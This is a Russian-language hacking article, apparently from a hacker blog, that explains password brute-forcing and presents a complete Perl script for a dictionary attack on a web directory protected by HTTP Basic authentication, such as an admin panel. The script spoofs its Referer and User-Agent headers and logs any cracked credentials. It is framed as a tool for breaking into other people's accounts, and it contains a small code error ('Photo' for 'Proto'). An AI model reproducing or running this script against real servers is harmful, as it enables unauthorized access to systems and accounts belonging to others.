• Партнер

  • Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу 😉 То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса =)).

    Еще одна слабость брутфорса - это медленная работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные - пройдет довольно много времени.

    Дохлый номер... наверное подумаешь ты 😉 Но я тебя обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом 😉 Чтобы удовлетворить эти 2 потребности потребуются два компонента:
    - Прямые руки
    - *nix шелл с открытыми соединениями в internet + поддержка background processes

    В общем-то достаточно... Таким образом, у нас два среды для написания брутфорса - Си и Перл. Как истинный фанат я остановлюсь на втором =)

    Perl - установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет.

    Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих статьях (<URL>), так что повторяться не буду.

    Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.

    Итак, поехали:

    #!/usr/bin/perl

    ## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com

    use MIME::Base64;
    use IO::Socket;
    use POSIX; ### Подрубаем модули POSIX, Socket и Base64

    $server="www.victim.com"; ### Удаленный сервер
    $port="80"; ### Удаленный порт
    $dir="/admin"; ### Запароленная директория
    $logfile="sucess.log"; ### Логфайл, куда пишем пароль 😉
    $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
    $words="bigdict.txt"; ### Словарь (файл с паролями)
    $user="admin"; ### Имя пользователя

    open(file, "$words") or die print "$!\n";
    @data=<file>;
    $total=@data;
    close file; ### Записываем все пароли в один массив

    $i=0;
    foreach $pass (@data) {
    $i++;
    chomp($pass);
    open(file, ">$log") or die print "$!\n";
    $perc=($i*100)/$total; 
    $perc=ceil($perc); ### Высчитываем процент
    print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
    close file;
    $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
    chomp($auth);
    $socket=IO::Socket::INET->new( PeerAddr => $server,
    PeerPort => $port,
    Photo => tcp) ### Порождаем сокет
    or die print "Unable to connect to $server:$port\n";
    print $socket "GET $dir HTTP/1.1\n"; 
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "Referer: http://support.microsoft.com/\n";
    print $socket "User-Agent: Internet Explorer 6.0\n";
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Authorization: Basic $auth\n";
    print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
    $ans=<$socket>; ### Получаем ответ от сервера
    if ($ans=~/200 Ok/i) {
    open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
    print logf "$user:$pass is OK!!!\n";
    close logf;
    exit 0; ### Выходим 😉
    }
    }

    Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи 😉

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии